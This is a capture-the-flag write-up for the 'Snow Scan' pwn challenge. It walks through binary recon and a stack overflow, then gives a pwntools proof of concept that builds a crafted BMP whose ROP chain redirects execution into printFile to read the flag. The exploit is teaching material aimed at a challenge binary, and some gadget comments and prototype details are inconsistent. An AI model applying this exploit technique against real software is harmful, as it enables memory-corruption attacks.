← Back to blog

Snow Scan

Snow Scan In a rapidly unfolding scenario, an ancient Sumerian virus has surfaced, rapidly proliferating and posing a grave threat. Snow Crash, a menacing presence within the metaverse, has ventured beyond virtual realms, unleashing tangible repercussions in real life. In response to this crisis, the Board of Arodor has devised a vital tool—a service designed to meticulously scan and identify potential samples of Snow Crash. Would you consider harnessing this service to counter their efforts?

Files

Download: pwn_snowscan.zip

Recon

We start by inspecting the provided binary to understand what we are dealing with. The file command tells us the architecture, whether it is stripped, and how it is linked.

file snowscan
snowscan: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=e9e902cc433b54fad963f22e7465986841dd3f36, for GNU/Linux 3.2.0, not stripped

It is a statically linked, non-stripped 64-bit ELF. Static linking matters here because it means the binary itself contains plenty of gadgets we can later reuse for ROP, and “not stripped” means symbol names are still available to us.

Next we check the binary’s protections with checksec to plan our exploitation strategy.

checksec snowscan
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The key takeaways: there is a stack canary (so a naive overflow that smashes the canary will be caught), NX is enabled (so we cannot execute shellcode on the stack and must use ROP), and there is no PIE (so all code and gadget addresses are at fixed, known locations starting at 0x400000).

Enumeration

While there are no explicit format string vulnerabilities in the provided code, it is worth keeping in mind that any printf-style call using user-controlled format strings could leak memory and help locate sensitive data such as file descriptors. In this challenge, the more interesting observation is about an unused function.

The binary defines a printFile function that is never actually called during normal execution. If we can hijack control flow, we can call it ourselves to read an arbitrary file. The flag lives at the following path.

/home/ctf/flag.txt

So the plan is: gain control of execution, then redirect it into printFile with the flag path as its argument.

Buffer Overflow

To develop the exploit locally, we recompile a debug version of the program from source so we can resolve symbols and step through it.

gcc -g -o snowscand snowscan.c

We then load it in GDB and look up the address of the printFile function we want to redirect execution to.

gdb ./snowscand
Reading symbols from ./snowscand...
gdb-peda$ p printFile
$1 = {void (char *)} 0x129b <printFile>

By inspecting the stack we can identify the saved return address that an overflow would overwrite, confirming we can control the instruction pointer.

RSP: 0x7fffffffd6d8 --> 0x4022be (<sequenceDetected+61>:    test   eax,eax)

A first, naive attempt to demonstrate the overflow just pads the buffer up to the return address and overwrites it with the printFile address, passing the flag path. This was an early prototype to validate the idea before building the full ROP chain.

# Replace these values with your findings
offset = 60  # Adjust the offset based on your specific environment
print_file_address = 0x129b  # Address of the printFile function obtained from gdb
file_path = "/home/ctf/flag.txt"  # File path to be passed as an argument to printFile

# Craft the payload
payload = b'A' * offset + struct.pack('<I', print_file_address)

# Launch the vulnerable program with the crafted payload
subprocess.run(['./snowscand', payload])

The argument we are ultimately trying to feed into printFile is the flag path.

/home/ctf/flag.txt

The crash and control of execution is confirmed below.

image

Exploitation (POC)

For the real target the input is parsed as a BMP image, and the overflow is reached only after a specific trigger string (3nk1's-n4m-shub) is present in the file. Because NX is enabled and the binary is statically linked, we build a ROP chain instead of injecting shellcode.

The chain works as follows: we write the string flag.txt into a writable address (flag_str) using a pop rax gadget to load the bytes, a pop rsi gadget to point at the destination, and a mov qword ptr [rsi], rax gadget to store it. We then load that same address into rdi (the first argument register) and jump into printFile, so it opens and prints flag.txt.

The full proof-of-concept builds the malicious BMP and launches the binary against it.

#!/usr/bin/env python3
from pwn import *

bmpfile = 'exploit.bmp'

elf = context.binary = ELF('./snowscan', checksec=True)
context(terminal=['tmux', 'split-window', '-h'])
context.log_level = 'info'

gs = '''
unset environment LINES
unset environment COLUMNS
unset environment TERM_PROGRAM
continue
'''.format(**locals())

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([elf.path, bmpfile], gdbscript=gs, *a, **kw)
    else:
        return process([elf.path, bmpfile], *a, **kw)

def generate_bmp_file():
    # BMP file header
    signature = b'BM'
    fileSize = 0
    reserved = 0
    dataOffset = 54
    headerSize = 0
    width = 20  # Adjust the width within the acceptable range
    height = 20  # Adjust the height within the acceptable range
    colorPlanes = 0
    bitsPerPixel = 0
    compression = 0
    imageSize = 400
    horizontalResolution = 0
    verticalResolution = 0
    numColors = 0
    importantColors = 0

    bmp_header = signature + fileSize.to_bytes(4, 'little') + reserved.to_bytes(4, 'little') + \
        dataOffset.to_bytes(4, 'little') + headerSize.to_bytes(4, 'little') + width.to_bytes(4, 'little') + \
        height.to_bytes(4, 'little') + colorPlanes.to_bytes(2, 'little') + bitsPerPixel.to_bytes(2, 'little') + \
        compression.to_bytes(4, 'little') + imageSize.to_bytes(4, 'little') + \
        horizontalResolution.to_bytes(4, 'little') + verticalResolution.to_bytes(4, 'little') + \
        numColors.to_bytes(4, 'little') + importantColors.to_bytes(4, 'little')

    trigger = b"3nk1's-n4m-shub"

    flag_str = 0x4c3500

    # Gadgets:
    pop_rax = 0x4522e7  # pop rax; ret;
    pop_rdi = 0x401a72  # pop rdx; ret;
    pop_rsi = 0x40f97e  # pop rsi; ret;
    pop_rdx = 0x40197f  # pop rdx; ret;
    syscall = 0x41eb64  # syscall; ret;
    ret = 0x40101a  # ret;

    gadget = 0x482d35  # mov qword ptr [rsi], rax ; ret

    offset = 472
    payload = flat({
        offset: [
            pop_rax,
            b"flag.txt",
            pop_rsi,
            flag_str,
            gadget,
            pop_rdi,
            flag_str,
            elf.sym.printFile,
            0xc0debabe
        ]
    })

    bmp_data = bmp_header + trigger + payload

    # Save the data to a file
    with open(bmpfile, 'wb') as f:
        f.write(bmp_data)

if __name__=='__main__':
    generate_bmp_file()

    io = start()
    io.interactive()

Running the proof-of-concept against the service writes flag.txt into memory and redirects execution into printFile, which reads back the flag.